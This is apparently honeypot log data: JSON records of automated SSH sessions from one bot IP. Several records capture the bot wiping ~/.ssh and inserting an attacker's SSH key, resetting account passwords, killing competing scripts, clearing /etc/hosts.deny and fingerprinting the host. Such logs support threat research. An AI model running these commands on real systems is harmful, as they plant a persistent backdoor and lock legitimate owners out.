$4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:37:24.096267+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:37:24.374820+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:37:25.270893+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:37:25.551485+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:37:27.355464+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:37:27.635537+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:37:28.577313+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:37:28.857865+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:37:30.355022+00:00","kind":"output","latency_ms":null,"data":" 11:37:30 up 7 days, 8:27, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:37:30.635739+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:37:32.042225+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:37:32.321895+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:37:34.227588+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:37:34.507843+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:37:34.999370+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:34 up 7 days, 8:27, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:37:35.279819+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:37:36.857447+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:37:37.137470+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:37:38.297693+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:37:38.575965+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:37:40.219201+00:00","kind":"output","latency_ms":null,"data":"ram"},{"seq":29,"at":"2026-08-27T11:37:40.504897+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:37:41.972205+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:37:42.250784+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:37:43.492046+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ram","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"bfedcf37-8249-4912-8d27-b9092322714e","name":"downy-tender-vulture","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":37948,"username":"ram","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:37:20.974922+00:00","ended_at":"2026-08-27T11:37:21.764008+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ram","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4987e1cb-8c64-44df-92f7-a75cb92615d7","name":"cheerful-umber-otter","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":37946,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:37:18.635570+00:00","ended_at":"2026-08-27T11:37:20.449330+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"972cfab2-cae0-46fa-8917-c5bc113c95f1","name":"crystal-civil-mallard","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":58178,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":275,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:35:38.853087+00:00","ended_at":"2026-08-27T11:35:40.500507+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T11:35:11.426665+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:35:11.701609+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:35:14.210138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:35:15.300735+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:35:15.575802+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123123123\\nRhtFKntZDCdc\\nRhtFKntZDCdc\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:35:15.849306+00:00","kind":"input","latency_ms":null,"data":"echo \"123123123\\nRhtFKntZDCdc\\nRhtFKntZDCdc\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:35:16.123384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:35:16.844847+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:35:17.072480+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:35:18.178645+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:35:18.455330+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:35:20.165482+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:35:20.443115+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:35:22.423182+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:35:22.701147+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:35:23.844742+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:35:24.119615+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:35:25.305478+00:00","kind":"output","latency_ms":null,"data":" 11:35:25 up 7 days, 8:25, 0 user, load average: 0.11, 0.1, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:35:25.579960+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:35:27.731485+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:35:28.005273+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:35:30.013408+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:35:30.289391+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:35:31.513763+00:00","kind":"output","latency_ms":null,"data":"top - 11:35:31 up 7 days, 8:25, 0 user, load average: 0.11, 0.1, 0.09\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:35:31.788666+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:35:33.075270+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:35:33.352547+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:35:34.528408+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:35:34.804332+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:35:36.487591+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T11:35:36.762800+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:35:38.578178+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:35:38.853839+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:35:40.420778+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"123123123","method":"password","accepted":true,"tier":"other"}]} {"id":"c6a8edee-05f4-4eb7-84f9-da2c45952ab5","name":"idle-stoic-quokka","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":58196,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:35:13.431318+00:00","ended_at":"2026-08-27T11:35:14.124879+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7fd364aa-e245-4671-8fca-0e93cdff628a","name":"nameless-glacial-hyrax","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":58192,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:35:12.300014+00:00","ended_at":"2026-08-27T11:35:12.911744+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6227696f-f72d-4455-b05d-6bf07c9df165","name":"gloomy-lanky-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":49668,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:34.784949+00:00","ended_at":"2026-08-27T11:33:36.983931+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2280,"events":[{"seq":1,"at":"2026-08-27T11:33:07.667906+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:33:07.933196+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:11.239269+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:13.226460+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:13.490550+00:00","kind":"input","latency_ms":null,"data":"echo \"root:csWIgjkNIcri\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:33:13.753270+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:33:14.017883+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:14.761262+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:33:15.453655+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:33:15.718873+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:33:16.955792+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:33:17.214261+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:33:18.484084+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:33:18.752226+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:33:19.635656+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:33:19.900890+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:33:21.115773+00:00","kind":"output","latency_ms":null,"data":" 11:33:21 up 7 days, 8:23, 0 user, load average: 0.31, 0.3, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:33:21.379758+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:33:23.548444+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:33:23.812866+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:33:25.685732+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:33:25.950488+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:33:27.592115+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:27 up 7 days, 8:23, 0 user, load average: 0.31, 0.3, 0.29\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:33:27.856522+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:33:29.403490+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:33:29.669725+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:33:31.691116+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:33:31.948527+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:33:33.385591+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:33:33.647286+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:33:34.520519+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:33:34.786462+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:33:36.908496+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"zaq12WSX","method":"password","accepted":true,"tier":"other"}]} {"id":"0e52af9b-d46b-4582-9ced-a8b1801e9be4","name":"nameless-regal-yak","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":49682,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:33:10.265155+00:00","ended_at":"2026-08-27T11:33:11.162532+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f160dc9c-9587-4899-9181-4e81da7c2654","name":"emerald-vigilant-chough","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":49674,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:33:08.533883+00:00","ended_at":"2026-08-27T11:33:09.750383+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3ed84bb1-120d-46aa-8e06-a66eae36dbb3","name":"patient-calm-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55448,"username":"sysop","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:40.849882+00:00","ended_at":"2026-08-27T11:31:43.052074+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2213,"events":[{"seq":1,"at":"2026-08-27T11:31:11.018671+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:31:11.280935+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:31:15.618640+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:31:16.838654+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:31:17.103612+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nktTs95qYMEwF\\nktTs95qYMEwF\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:31:17.365956+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nktTs95qYMEwF\\nktTs95qYMEwF\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:31:17.630729+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:31:18.026012+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:31:18.190158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:31:19.433059+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:31:19.697520+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:31:21.456303+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:31:21.723211+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:31:23.814750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:31:24.080353+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:31:25.302364+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:31:25.566717+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:31:26.877882+00:00","kind":"output","latency_ms":null,"data":" 11:31:26 up 7 days, 8:21, 0 user, load average: 0.33, 0.38, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:31:27.141409+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:31:28.534213+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:31:28.797862+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:31:30.570717+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:31:30.833582+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:31:32.582942+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:32 up 7 days, 8:21, 0 user, load average: 0.33, 0.38, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:31:32.845514+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:31:34.417759+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:31:34.681738+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:31:36.488179+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:31:36.751941+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:31:38.176904+00:00","kind":"output","latency_ms":null,"data":"sysop"},{"seq":31,"at":"2026-08-27T11:31:38.440820+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:31:40.587612+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:31:40.850788+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:31:42.976778+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sysop","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"3d8d1183-b05f-4bd5-9935-17ca29b6df2c","name":"quiet-alpine-swallow","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55460,"username":"sysop","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:31:13.861421+00:00","ended_at":"2026-08-27T11:31:15.541831+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sysop","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 